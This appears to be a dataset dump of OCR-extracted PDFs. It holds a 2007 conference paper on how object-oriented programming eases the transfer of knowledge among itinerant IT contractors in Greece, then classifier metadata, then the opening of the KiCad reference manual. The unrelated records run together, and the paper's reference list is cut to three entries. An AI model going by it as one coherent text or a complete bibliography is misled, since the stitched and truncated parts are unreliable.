6], [28752, 34408, 7], [34408, 36721, 8], [36721, 42257, 9], [42257, 48002, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 48002, 0.14729]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
517a5e0ac41c38a802f9a4efe4c5ac06d23ee75c
|
Codification and Transferability of IT Knowledge
Voutsina Katerina
London School of Economics and Political Science, k.voutsina@lse.ac.uk
Jannis Kallinikos
London School of Economics and Political Science, j.kallinikos@lse.ac.uk
Carsten Sorensen
London School of Economics, c.sorensen@lse.ac.uk
Follow this and additional works at: http://aisel.aisnet.org/ecis2007
Recommended Citation
http://aisel.aisnet.org/ecis2007/161
CODIFICATION AND TRANSFERABILITY OF IT KNOWLEDGE
Katerina Voutsina, Jannis Kallinikos and Carsten Sørensen
The Information Systems Group
Department of Management
London School of Economics and Political Science
Houghton Street, London WC2A 2AE, UK
{k.voutsina; j.kallinikos; c.sorensen}@lse.ac.uk
ABSTRACT
Software development has always been considered a complex undertaking where close interaction has been the antidote to this inherent complexity and development techniques from initial unstructured-over structured- and to object-oriented programming represent ways of managing development risks. Software knowledge has traditionally been transferred in project settings and been intrinsically linked with situated social practices. However, with the emergence of itinerant experts and highly distributed software development, the question emerges; what is the role of core software development techniques in the exchangeability and transferability of highly skilled IT knowledge? The aim of this paper is, through 30 qualitative interviews in Greece, to investigate the role of development techniques as a means of facilitating the codification and transferability of IT knowledge among itinerant IT experts and the projects they form part of. It is argued that the use of object-oriented techniques encapsulates discretionary decisions in objects and through carefully negotiated interfaces allows for the transfer and reuse across contexts. This minimises side effects and facilitates both the cultivation of complex middleware and the distribution of distinct work packages to individual itinerant experts.
Keywords: IT knowledge transferability, IT knowledge codification, Object-Oriented programming technique, contracting
1 INTRODUCTION
In his famous selection of software development essays from 1975, Fredrick Brooks Jr. (1995 reprint) elegantly outlined the essentially challenges in large-scale software development in terms of the collective challenges imposed by software development projects. IT knowledge has since been conceptualised as residing in projects where intense interaction, negotiation, planning and management ensures the proper negotiation of mutual interdependencies in complex specifications (Humphrey, 1988). The transfer of IT knowledge can be viewed as a complex mixture of economic exchange and social control in terms of reliance on in-house organisational IT knowledge, of professional expertise of outsiders and of software packages (Scarborough, 1995). This has traditionally implied strict limitations to the distribution and sub-division of IT work. However, over the last two decades there has been a continuous proliferation of subcontracting and consulting in knowledge-intensive sectors of the economy, such as the software industry or entertainment (Castells 2000; Matusik and Hill 1998; Laubacher and Malone 1997; Tilly and Tilly, 1998).
These developments provide evidence of a radical shift away from traditional practices of knowledge generation and manipulation and the assumptions underlying our understanding of these. Professional services, and in particular highly-skilled IT services, instead of being developed and provided in house are now procured in the market in accordance with all those rules underlying the exchange of goods or services (Barley and Kunda, 2004). The client-firm buys in the professional knowledge of the IT contractor and the IT contractor in turn sells accordingly their knowledge capital under the prescription of a well-defined, time-limited contract. IT contractors move from one client-firm to the other applying their specialized knowledge to solve diverse problems and thus serve as “itinerant” experts (Barley & Kunda, 2004). In this process significant IT knowledge in the form of modules and packages seem to be quickly adjustable and easily transferable to a diversified business population resembling the free exchange of off-the-shelf packages in an open market.
These developments suggest a shift in the status of IT knowledge. From being originally considered to be particularly complex and highly specific to the enterprise it was deployed (Goldthrope, 1998), IT knowledge nowadays seems to acquire the intrinsic characteristics of an exchangeable commodity, largely undifferentiated and primarily traded on the basis of price as opposed to quality or other unique characteristics. If this is the case then the traditional view of IT knowledge production and management is seriously challenged prompting the re-evaluation of the mechanisms by which IT knowledge is generated and diffused.
This paper inquires into the nature of IT knowledge and the forms by which it constituted and conceptually organized as a solid body of commercial services. The ultimate purpose is to explore the conditions explaining the exchangeability and transferability of highly-skilled IT knowledge across diverse organizational and institutional contexts. In particular, the paper aims at understanding the role of the core software development techniques on this transfer of IT knowledge. This is initially accomplished by a brief presentation of the prevalent programming methodologies that have governed the IS field from the mid seventies onwards. It comments upon the prospects of malleability and adjustability of IT knowledge that are associated with the development of IT methodologies. Key conceptual paths we pursue involve the exploration of the degree of reproducibility and manageability of the IT artifact. We suggest that the basic forms through which IT knowledge is currently developed epitomizes a drift towards standardization and recomposition where IT services are produced by combinations of already existing components, and this partly accounts for the marketization of IT services (Kallinikos, 2006).
The investigation is based on qualitative data gathered from thirty interviews with highly skilled IT professionals engaged in contingent forms of employment. Responders were asked about their conceptualizations, the shifts in software programming techniques and how these shifts are linked to contemporary phenomena of freelancing and knowledge commodification. The empirical data suggests that the shift from unstructured- to procedural- and object-oriented programming, implies
novel ways of managing the ambiguity and complexity inherent in any software development process promoting knowledge manoeuvrability and applicability across contexts.
The following section outlines the evolution of the IT development process. Section 3 presents the empirical study. Section 4 presents and discusses the results and Section 5 concludes the paper.
2 THE EVOLUTION OF INFORMATION TECHNOLOGY DEVELOPMENT PROCESS
The software development literature suggests three broad approaches in software development: unstructured programming also known as the code-and-fix approach, and two modular programming approaches; procedural programming and object-oriented programming (Boehm, 1988). The shift in the 1970s towards procedural or structured programming was touted as a “paradigm shift” in the IS industry. Years later, advocates of the object-oriented analysis heralded the new “paradigm shift” object programming represented (Gibbs, 1994). In both cases, advocates of each approach aimed to draw the attention to the fact that the new approach of building software is not just a refinement or an updated version of the previous one, but a radical departure from a well-established way of thinking about software development. The three approaches on software development represent alternative strategies or sets of techniques that have been deployed by developers over time in an attempt to build more reliable and efficient software. The underlying logic and the challenge behind every engineering project might be summarized along the following issues (Brooks 1995):
- How to combine programs understood as an organized list of instructions into a system
- How to design and build a system into a robust, tested, well-documented and supported product that will process info in order to perform a specific task
- How to maintain intellectual control over the complexity in large doses.
Despite the commonality of the confronted problems, the way each software development approach classifies and manipulates information is strikingly different. As will be illustrated in the rest of the paper, each approach also hosts different possibilities with respect to knowledge organization and diffusion across contexts. The following briefly describes key aspects of each of the three approaches and subsequently these distinctive characteristics will be related to the codification and transferability of IT knowledge.
Unstructured programming essentially implies that all code is written as a single continuous block of instructions that are difficult even for the same programmer to separate, detach or even distinguish.
Structured programming in many respects relies on similar basic conceptual assumptions as those underlying Scientific Management (Taylor, 1911). The ultimate aim has been the detailed functional or logistical description and decomposition of tasks and operations, by focusing on the way information (data) is flowing and processed step-by-step (DeMarco, 1978; Yourdon, 1989). “The analysis aims at rationalizing information processing by identifying and removing the procedural, historical, political or tool related peculiarities” and identifying sequence and succession of functions (Bansler and Bødker, 1993).
Object Oriented (OO) programming rejects the decomposition of a system into processes and data flows, and instead draws attention to the decomposition of a system into independent interacting objects. Each object encapsulates both data expressed as variables and attributes, and processes in terms of functions, behaviors, and methods (Dahl & Nygaard, 2002). An object’s behavior is enacted or an object’s method is invoked when it receives messages or calls from another object. Through the principle of information hiding (Parnas, 1972), objects encapsulates discretionary and transient decisions and ensures minimal side-effects through the maintenance of carefully negotiated and stable interfaces.
Although there has been a burgeoning body of research that aims to compare and disclose the conceptual and practical differences of the above methodologies, the potential superiority or inferiority of these methodologies seems to remain largely elusive and the deriving findings are often accompanied by conflicting results (Johnson, 2002). The aim of this paper is not to present the benefits and drawbacks related to the deployment of each methodology as such, but rather to explore how their inherent characteristics favor or impede IT knowledge transferability and adaptability across different organizational contexts.
3 EMPIRICAL STUDY
The analysis that is presented in the following sections is based on data gathered through thirty interviews with IT professionals working as independent contractors, or itinerant experts, in Greece. This group has been deliberately selected as the working practices epitomize knowledge packaging and transfer across different organizational and business contexts. Eight out of the thirty interviewees, were general IT consultants and managers. Five of the interviewees had highly specialized skills in a very particular technology or commercial off-the-shelf software package such as those manufactured by SAP (www.sap.com). The remaining 17 interviewees were specialized in a wider range of technologies. All of the interviewees had university degrees in computer science or related subjects and all had at least five years work experience. (Table 1 in the “appendix section” highlights some of the main interviewee characteristics). The interviews were conducted in the period between September 2005 and June 2006 and each of them lasted from one hour and a half to two hours.
The respondents were asked to describe how they conduct their work, reflecting upon the conceptual tools and methodologies used, as well as the functionalities the latter entail in allowing them to move freely from across organizational boundaries and contexts. They were then asked to comment upon and compare alternative programming methodologies in terms of the degree of IT artifact reproducibility and maneuverability.
Given that there is no an established classification of IT individuals who work as freelancers, the selection of informants was not a straight-forward process. Informants were selected from a list of the Federation of Greek IS enterprises and IS personnel, following the logic of a snowball sampling, i.e., respondents were asked to provide details of others they deemed interesting for the study (Evans et al. 2004; Faugier and Sargeant, 1997; ). Even if our respondents cannot be considered as representative of the relevant population in Greece, and therefore prohibiting us from arriving at statistical generalization, their explanations and testimonies contribute to what Yin (2003) characterizes as analytic generalization, i.e. they promote our overall understanding with respect to the relation between software methodologies, knowledge codification and knowledge transferability.
The in-depth semi-structured “ethnographic” interviews lasted one to one and a half hours and were tape-recorded at the participants’ work places in Athens (Barley et al, 2002). Furthermore, some informants were interviewed twice, because the initial transcription of their sayings rendered necessary a second round of interview in order to clarify issues that remained unclear.
4 IT KNOWLEDGE CODIFICATION AND ENABLERS OF EXCHANGEABILITY
The current section rely upon the interview narratives to obtain an understanding of the defining differences between the prevalent methodologies of software development (unstructured, procedural and object-oriented) and how these are associated with the freelancing practices of the interviewed IT professionals.
For all interviewed professionals it is common sense unstructured design is directly associated with greater zones of ambiguity and vagueness in comparison to any other kind of structured programming. Although any kind of software language and programming is cognitively organized around explicit
rule-based combinations of standardized binary code of 0 and 1, the reproducibility and controllability of unstructured “GOTO” programming are significantly lower in comparison to modular programming. Alternatively, the tacit knowledge needed to make sense and use of codified but still unstructured programming is significantly broader than that associated with modular programming. Granted that complexity is an inherent property of the software produced and that the different components unavoidably interact with each other in a non-linear fashion (Brooks, 1987), it is plausible to assume that managing and maintaining a single and continuous block of code is particularly difficult.
Against this background it would seem reasonable to argue that the quality of the final result is highly contingent upon the idiosyncratic skills of the highly trained craftsman and strongly prescriptive for the particular enterprise and the particular tasks it is brought to bear upon. No matter how much the final result can be judged as satisfactory and the process by which it is reproduced can be documented, the actual cognitive trajectory followed by the developer remains at least at some extend vaguely defined and not easily communicable and shared.
“Unstructured programming is a real art. If the programmer who writes the code is really gifted in his/her craft, the deriving result could be described as a masterpiece. Yet, maintenance of such a program is a major challenge for anyone other than the initial manufacturer of the program and its transferability across different enterprises is rather absent. We could never work as contractors if we had remained faithful to the principles of unstructured programming”. (developer no.27, table 1, appendix)
The antidote to the aforementioned limitations of unstructured programming could be no other than the breaking of programs/systems into smaller components that can be constructed independently of one another and then be recombined to make the overall system: the rational behind the modular programming. Here, principles of low inter-module coupling and strong intra-module cohesion have been applied as quality criteria to strive for (Sommerville, 1982).
Structured or procedural methods and object-oriented (OO) methods both aim at reducing complexity and enhancing visibility by creating various kinds of classifications, functions, sub-functions and objects. The process of classification is itself a method of standardization since it ends up imposing a degree of homogenization that renders the particular individual differences irrelevant and rather insignificant (Bowker and Star, 1999; Townley, 1994). Deciding upon what is important and what is not, thinking to which extend something is similar or dissimilar to something else, is the first step of rendering oneself able to understand and manipulate a set of relations that otherwise would have remained closely interwoven and practically non-exploitable. Here, the process is guided by the principles of maintaining a low degree of inter-module coupling and a high degree of intra-module cohesion ensuring that each module is a coherent unit. Parnas’ (1972) conceptualized and strengthened this principle in terms of information hiding where as a design principle, the internals of a module should exercise information hiding and encapsulate discretionary modeling decisions and subsequently publish clearly negotiated and stable interfaces for other modules to access. Object oriented principles for describing a system in modules is a very effective means of implementing these principles and furthermore offers additional principles such as polymorphism and inheritance.
Most interviewees mentioned that modular programming and the functionality embedded in it constitutes the fundamental pillar of IT contracting. At the beginning of the interview they talked about both processes of building software as being equally useful and usable, “Although each IT solution generated is highly specific and tailored-made to the needs of a particular client, existing lines of code are always being re-used in our craft, independently of whether this is a subroutine, a function or an object” (developer no. 30, table 1, appendix). However, as the discussion proceeded they tended to display a kind of indirect and semi-articulated preference towards object-oriented methodologies.
What are then the differences of codification and cognitive organization, standardization, between structured and object oriented approaches? Drawing upon the differences between their subordination
to different levels of standardization, there is a clear distinction between the way the programmer conceptualizes and makes sense of the program, and the way in which the program operates to execute the predefined, codified instructions underlying the performance of a specific task.
As far as the execution of a software program is concerned, every single sequence of instructions is translated into a unique combination of binary coding and consequently it is syntactically and semantically differentiated. Every software program operates under the assumption of “frozen signification, fixed one-to-one correspondence and clear-cut and finitely differentiated semantic units” (Kallinikos, 1996). Two different syntactic units can never refer to the same semantic unit. Whatever is presented as semantic content is not but another syntactic notation that seeks to fix or agree upon the content it describes (Simon, 1977). Therefore, the software program independently of the process of its products, is the result of a highly codified process. Nevertheless, there is a great difference between the procedural and the OO approach of software development in the way the developer manages the ambiguity related to the management of a particular function or of an object.
4.1 Capturing and encapsulating ambiguity
In procedural programming the data is separated from the procedures and is global, easily reachable and appropriated by different equations and functions. The programmer has to describe the function and specify the types of variables to be used as the specific function to deliver the desired outcome. Given the fact that several functions have access to global data, a function can modify data that are outside its scope or contribute to the corruption of data prospectively used by other functions. This phenomenon is characterized as a “side-effect” and makes the behavior more difficult to predict. The overall quality of the generated solution is contingent upon the depth of knowledge the programmer possesses regarding programming techniques and the overall structural formula, coupling and coherence of the system. It is up to the programmer to decide what kind of function has to be developed and what type of data and input values need to be used; and yet even if he or she performs everything by the book, the final outcome still remains significantly vague. The inherent complexity and uncontrollable interactions and interdependencies of diverse components that share the same pool of data render the prediction of the final result rather problematic.
On the other hand, in object-oriented programming, the process followed by the programmer to build a system is at least at a certain degree more standardized and the expected outcome is relatively more predictable. The data (attributes) and procedures (methods) are encapsulated within a single independent entity, the “object”, whose internal structure remains a black-box to the other components of the system. The object can only be accessed via its external behavior (methods), while its attributes (data) are meticulously hidden and carefully protected through the application of information hiding. Concomitantly, the programmer does not really have to worry about how she will make the “object” to function in a particular way. She has just to call, to invoke the behaviors of an object and ask from it to perform an operation, most often on itself, specific to itself, using its own data. More precisely, objects communicate with each other by exchanging messages, which constitutes a second order codification of an already consolidated knowledge. This knowledge is embedded within the object itself and is represented by the correspondence between methods (behaviors) and attributes (data).
Each abstract class inherits its methods and attributes to its sub-classes, and each sub-class is differentiated from its super-class (parent class) by displaying some additional methods and attributes. What is really remarkable is that the same message will be processed differently from diverse subclasses of the same class according to their unique identity (polymorphism). Alternatively, the methods of each subclass will be separately enacted in the specific “context” of the particular object. Therefore two objects that display exactly the same output to a predefined message cannot but be the same object. In terms of semantics, the “meaning” of each object response is unique and univocal. In contrast to the case of procedural programming where the “meaning” of the outcome may vary according to diverse contingencies, related to interdependencies, unplanned interactions and possible data corruption.
In other words, a part of what has previously been tacit knowledge associated with which functions should be linked to what particular types of data and which specific data the latter should choose to deploy is already codified and embedded into the very notion of the object itself. In other words, the final product is substantially separated from the process by which it is constructed. The individual developers discretionary choices beyond those carefully negotiating interfaces between objects are effectively hidden and protected against side-effects. Through the development of object programming the process of developing software becomes relatively independent from the skills and proclivities of individual programmers (Goodman, 1976; Kallinikos, 2002). Knowledge development is standardized.
The way object-oriented programming methodologies are conceptually organized substantially contributes to increasing the degree of standardization both in the way code is written (objects) and the relationships between different strings of codes (classes inheritance) are established.
“Software programs built upon the logic of object-oriented programming are much easier to communicate and understand, since there is a specific degree of accountability to the diverse components of the system-objects. Each object has a specific level of responsibility and if something goes wrong, one does not have to worry about tracking down every line of code that might have changed a specific attribute-instead he/she has to look into the very structure of the object that controls the specific attribute. Information hiding constitutes a unique way to reduce complexity and enhance clarity of interactions” (developer no.19, table1, appendix).
The interactions of the component parts of the object oriented system are much less ambiguous and more stable and visible than those found in the procedural programming. Ambiguity is encapsulated in the internal structure of the object, and this way is significantly diminished, since the complexity underlying the internal structure of the object is considerably smaller to the complexity found in large systems with many interacting components.
4.2 Possibilities of adaptability and transference
Increased standardization and visibility of the software building process brought about by the object-oriented programming cannot but path the way towards enhanced possibilities of IT knowledge transferability across different organizational environments. Kallinikos and Hasseldbladh (2000), in an attempt to distinguish those characteristics that allow some ideas and managerial practices to diffuse across different contexts in a greater range than others, argue that the cognitive organization of such rationalized packages is key to their diffusion pattern. They, further, forward three central qualities describing the cognitive organization of such packages:
- the easiness/difficulty by which such packages can be locally reproduced,
- the degree of durability/perishability that they exhibit as they move across contexts
- the immediacy of communicability and the comprehensibility by which local actors encounter such artifacts/packages.
Reproducibility is here a key aspect to the understanding of subcontracting and freelancing practices in the IT industry. By separating the product (IT services) from the process by which it is constructed, object oriented approaches considerably raise the reproducibility of IT artifacts and contribute to their transferability across contexts
The analytic paths undertaken so far therefore demonstrate that maintaining and reproducing a single and continuous block of code (the product of unstructured programming methodologies) is so difficult, even for the person who has initially created the program, that the prospect of transferring and applying parts of this code to a new application seems to be completely absent or at any rate very low. The distinction between procedural programming and object-oriented programming in terms of the possibilities of knowledge transferability that each methodology accommodates is more difficult to establish. The key concept that helps to unravel the difference between the two programming
methodologies resides in the notion of inheritance (inheritance of methods and attributes) and independency (independency of diverse components) that the latter embraces.
Different independent components (objects) of a system can be easily combined and separated, allowing the system to be easily decomposed and composed anew according to the imperatives dictated by the business objectives. The more standardized the combinatorial rules of a system are the easier its reproducibility and adjustability are. In other words, standardizing the relationship between the independent components of the system is the first step to render it malleable and controllable and this is exactly the case of object oriented programming.
While procedural programming also provides code re-use by allowing the programmer to create a function (a procedure) and then use it again in multiple projects and for multiple purposes, object oriented programming goes one step further by allowing the programmer to define abstract but simultaneously straightforward “relationships” between independent classes of objects.
As already mentioned above, the concept of inheritance allows the developer to create brand new classes by abstracting out common attributes and behaviors. In particular, each abstract class inherits its methods and attributes to its sub-classes enabling the programmer to write the code for them just once. In other words, whenever the developer creates a new sub-class or instantiates a class into a new object, he or she has just to write only the new methods or attributes since all the other methods and attributes are automatically inherited by the parent class. Therefore, independently of the on-going application, an already part of the code is already ready-made waiting to accommodate new usages.
When the implementation has to change to meet the particular needs of a particular client firm, the developer does not have to worry about changing the interface. Different client-firms are receiving different software applications with the same functionality and the same interface. What changes is the intrinsic structure of an object that addresses the concerns of the particular firm or context to which the system is called to bear upon.
An object can be transferred from one application to another without significant semantic alterations or distortions as it signifies a self-sufficient whole of a public interface for sending and receiving messages hiding the idiosyncratically designed intestines. Performing an operation, most often on itself, specific to itself, and by using its own data, the object more or less delivers quite standardized and relatively predefined outputs. On the contrary the final output of the function, when transferred to a new context, may be non-uniform, because of the emerging interactivity patterns of the latter with other functions and the subsequent sharing of common data.
Finally, as far as communicability is concerned, most of the interviewed professionals reassured us that it was easier to work with other contractors and achieve better overall integration of the system under construction. This was the outcome of the fact that the standards of the common interfaces that objects would interact among themselves could be communicated better and quicker than the details related to the intrinsic structure and objective of diverse function interdependent functions.
To conclude, we would like to draw the attention to the fact that the aforementioned remarks do not necessarily imply downplaying the importance of tacit knowledge needed in the use and manipulation of this codified and relatively standardized knowledge. “Codification is never complete and some forms of tacit knowledge will always play an important role” (Cowan and Foray, 1997). In particular, the ability that developers might display in deeply comprehending the business objectives and translating them into their computational vocabulary resides into the field of tacit knowledge and constitutes one of the most significant factors that determine the final success of the project. (Curtis et al. 1988). Yet, the intention of the current section has been to demonstrate that the relative degrees of codification and standardization underlying the different software methodologies are instrumental in rendering the packaging of IT knowledge increasingly feasible.
5 CONCLUSIONS
Aim of the current paper has been an attempt to identify the structural features and intrinsic qualities of software development techniques that justify or partial explain the transferability of IT knowledge across different organizational contexts. Empirical data from thirty highly-skilled IT contractors in Greece suggest that Object-oriented techniques and the way the latter are conceptually structured and welcoming the human agency seem to lie in the heart of IT knowledge transferability and IS contracting.
As we move from unstructured to procedural and then to Object-oriented programming, the way software is built tends to lose its tacitness and heterogeneity and starts acquiring the form of a well-structured and uniform activity governed by explicit rules and procedures. An increasingly significant part of the individual developers’ discretionary choices seems to be captured by the logic of more and more refined classifications and standardized correlations that tie the structural components of a system together. Visibility, clarity and understandability of the software production process are enhanced and the prospects of adjustability and malleability of the ICT artifact are more than enough. To put it in other words, IT knowledge seems to be partially imprisoned within the ICT artifact and gradually detached from its initiator, production process and context of application; acquiring the characteristics of a traded commodity that is freely exchanged and transferred across organizational settings, IT knowledge cognitive production is witnessed to become one of the fundamental enablers of contingent forms of IT work organization.
6 REFERENCES
Booch, G, (1994), Object-Oriented Analysis and design with applications, 2nd edition Benjamin/Cummings (Redwood City, CA)
724
Goodman N., (1976), *Languages of Art*, Indianapolis: Hackett
Taylor F., W., (1911), *Scientific Management*, NY and London
### Table 1: Interviewees' technical specialities, projects involved into and years of experience
<table>
<thead>
<tr>
<th>No.</th>
<th>Technical Specialty</th>
<th>Projects</th>
<th>Years of experience</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>IT specialist</td>
<td>SAP customized applications</td>
<td>6</td>
</tr>
<tr>
<td>2</td>
<td>IT specialist</td>
<td>SAP customized applications</td>
<td>8</td>
</tr>
<tr>
<td>3</td>
<td>IT specialist</td>
<td>SAP customized applications</td>
<td>7</td>
</tr>
<tr>
<td>4</td>
<td>IT specialist</td>
<td>SAP customized applications</td>
<td>5</td>
</tr>
<tr>
<td>5</td>
<td>IT specialist</td>
<td>SAP customized applications</td>
<td>7</td>
</tr>
<tr>
<td>6</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>10</td>
</tr>
<tr>
<td>7</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>20</td>
</tr>
<tr>
<td>8</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>9</td>
</tr>
<tr>
<td>9</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>12</td>
</tr>
<tr>
<td>10</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>15</td>
</tr>
<tr>
<td>11</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>12</td>
</tr>
<tr>
<td>12</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>15</td>
</tr>
<tr>
<td>13</td>
<td>IT consultant</td>
<td>Management of IT projects</td>
<td>17</td>
</tr>
<tr>
<td>14</td>
<td>Web developer</td>
<td>Development and maintainance of websites</td>
<td>5</td>
</tr>
<tr>
<td>15</td>
<td>Web developer</td>
<td>Development and maintainance of websites</td>
<td>5</td>
</tr>
<tr>
<td>16</td>
<td>Web developer</td>
<td>Development and maintainance of websites</td>
<td>5</td>
</tr>
<tr>
<td>17</td>
<td>Web developer</td>
<td>Development and maintainance of websites</td>
<td>7</td>
</tr>
<tr>
<td>18</td>
<td>Web designer</td>
<td>Development and maintainance of websites</td>
<td>8</td>
</tr>
<tr>
<td>19</td>
<td>Web designer</td>
<td>Development and maintainance of websites</td>
<td>10</td>
</tr>
<tr>
<td>20</td>
<td>Database designer</td>
<td>Databases creation and management</td>
<td>6</td>
</tr>
<tr>
<td>21</td>
<td>Database designer</td>
<td>Databases creation and management</td>
<td>8</td>
</tr>
<tr>
<td>22</td>
<td>Architecture designer</td>
<td>Software designing</td>
<td>12</td>
</tr>
<tr>
<td>23</td>
<td>Software developer</td>
<td>CRM applications</td>
<td>10</td>
</tr>
<tr>
<td>24</td>
<td>Software developer</td>
<td>Network applications</td>
<td>9</td>
</tr>
<tr>
<td>25</td>
<td>Software developer</td>
<td>Network applications</td>
<td>17</td>
</tr>
<tr>
<td>26</td>
<td>Software developer</td>
<td>Supply chain Applications</td>
<td>16</td>
</tr>
<tr>
<td>27</td>
<td>Software developer</td>
<td>ERP applications</td>
<td>12</td>
</tr>
<tr>
<td>28</td>
<td>Software developer</td>
<td>ERP applications</td>
<td>14</td>
</tr>
<tr>
<td>29</td>
<td>Software developer</td>
<td>ERP applications</td>
<td>14</td>
</tr>
<tr>
<td>30</td>
<td>Software developer</td>
<td>ERP applications</td>
<td>16</td>
</tr>
</tbody>
</table>
|
{"Source-Url": "https://aisel.aisnet.org/cgi/viewcontent.cgi?referer=&httpsredir=1&article=1035&context=ecis2007", "len_cl100k_base": 7318, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 26386, "total-output-tokens": 8854, "length": "2e12", "weborganizer": {"__label__adult": 0.0003895759582519531, "__label__art_design": 0.000331878662109375, "__label__crime_law": 0.0003294944763183594, "__label__education_jobs": 0.002391815185546875, "__label__entertainment": 4.929304122924805e-05, "__label__fashion_beauty": 0.00013768672943115234, "__label__finance_business": 0.0004978179931640625, "__label__food_dining": 0.00033020973205566406, "__label__games": 0.0003192424774169922, "__label__hardware": 0.00040602684020996094, "__label__health": 0.0003814697265625, "__label__history": 0.00018584728240966797, "__label__home_hobbies": 6.318092346191406e-05, "__label__industrial": 0.0002655982971191406, "__label__literature": 0.0003299713134765625, "__label__politics": 0.00025916099548339844, "__label__religion": 0.0003750324249267578, "__label__science_tech": 0.003875732421875, "__label__social_life": 0.0001169443130493164, "__label__software": 0.003936767578125, "__label__software_dev": 0.984375, "__label__sports_fitness": 0.0002359151840209961, "__label__transportation": 0.0004072189331054687, "__label__travel": 0.00016605854034423828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 42180, 0.03491]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 42180, 0.29342]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 42180, 0.92228]], "google_gemma-3-12b-it_contains_pii": [[0, 598, false], [598, 2335, null], [2335, 6894, null], [6894, 10846, null], [10846, 14939, null], [14939, 19540, null], [19540, 24235, null], [24235, 28463, null], [28463, 32859, null], [32859, 36534, null], [36534, 38733, null], [38733, 42180, null]], "google_gemma-3-12b-it_is_public_document": [[0, 598, true], [598, 2335, null], [2335, 6894, null], [6894, 10846, null], [10846, 14939, null], [14939, 19540, null], [19540, 24235, null], [24235, 28463, null], [28463, 32859, null], [32859, 36534, null], [36534, 38733, null], [38733, 42180, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 42180, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 42180, null]], "pdf_page_numbers": [[0, 598, 1], [598, 2335, 2], [2335, 6894, 3], [6894, 10846, 4], [10846, 14939, 5], [14939, 19540, 6], [19540, 24235, 7], [24235, 28463, 8], [28463, 32859, 9], [32859, 36534, 10], [36534, 38733, 11], [38733, 42180, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 42180, 0.21192]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
dcd7ebfc8d57c093a050015e8431b6f1d14853a5
|
KiCad
November 17, 2019
Contents
1 Introduction 1
1.1 KiCad ......................................................... 1
1.2 KiCad files and folders ..................................... 2
2 Installation and configuration 4
2.1 Display options .............................................. 4
2.2 Initialization of the default configuration ................. 4
2.3 Modifying the default configuration ......................... 4
2.4 Paths configuration .......................................... 5
2.5 Initialization of external utilities ......................... 6
2.5.1 Selection of text editor ............................... 7
2.5.2 Selection of PDF viewer .............................. 7
2.6 Creating a new project ..................................... 7
2.7 Importing a foreign project ............................... 8
3 Using KiCad project manager 9
3.1 Project manager window .................................... 9
3.2 Utility launch pane ......................................... 10
3.3 Project tree view .......................................... 10
3.4 Top toolbar .................................................. 11
4 Project templates 12
4.1 Using templates ............................................. 12
4.2 Template Locations: ........................................ 13
4.3 Creating templates .......................................... 14
4.3.1 Required File: ......................................... 14
4.3.2 Optional Files: ........................................ 15
I Upgrading from Version 4 to Version 5
5 Schematic Symbol Libraries
5.1 Global Symbol Library Table. ........................................... 18
5.2 Symbol Library Table Mapping ........................................... 18
5.3 Remapping Search Order ................................................. 19
5.4 Symbol Names and Symbol Library Nickname Limitations ............ 20
6 Symbol Cache Library Availability ........................................ 21
7 Board File Format Changes ................................................ 22
7.1 Global Footprint Library Table. ......................................... 22
Reference manual
Copyright
This document is Copyright © 2010-2018 by its contributors as listed below. You may distribute it and/or modify it under the terms of either the GNU General Public License (http://www.gnu.org/licenses/gpl.html), version 3 or later, or the Creative Commons Attribution License (http://creativecommons.org/licenses/by/3.0/), version 3.0 or later.
All trademarks within this guide belong to their legitimate owners.
Contributors
Jean-Pierre Charras, Fabrizio Tappero.
Feedback
Please direct any bug reports, suggestions or new versions to here:
- About KiCad document: https://github.com/KiCad/kicad-doc/issues
- About KiCad software: https://bugs.launchpad.net/kicad
- About KiCad translation: https://github.com/KiCad/kicad-i18n/issues
Publication date and software version
2015, May 21.
Chapter 1
Introduction
1.1 KiCad
KiCad is an open-source software tool for the creation of electronic schematic diagrams and PCB artwork. Beneath its singular surface, KiCad incorporates an elegant ensemble of the following software tools:
- **KiCad**: Project manager
- **Eeschema**: Schematic editor and component editor
- **Pcbnew**: Circuit board layout editor and footprint editor
- **GerbView**: Gerber viewer
3 utility tools are also included:
- **Bitmap2Component**: Component maker for logos. It creates a schematic component or a footprint from a bitmap picture.
- **PcbCalculator**: A calculator that is helpful to calculate components for regulators, track width versus current, transmission lines, etc.
- **Pl Editor**: Page layout editor.
These tools are usually run from the project manager, but can be also run as stand-alone tools.
KiCad does not present any board-size limitation and it can handle up to 32 copper layers, 14 technical layers and 4 auxiliary layers.
KiCad can create all the files necessary for building printed circuit boards, including:
- Gerber files for photo-plotters
- drilling files
- component location files
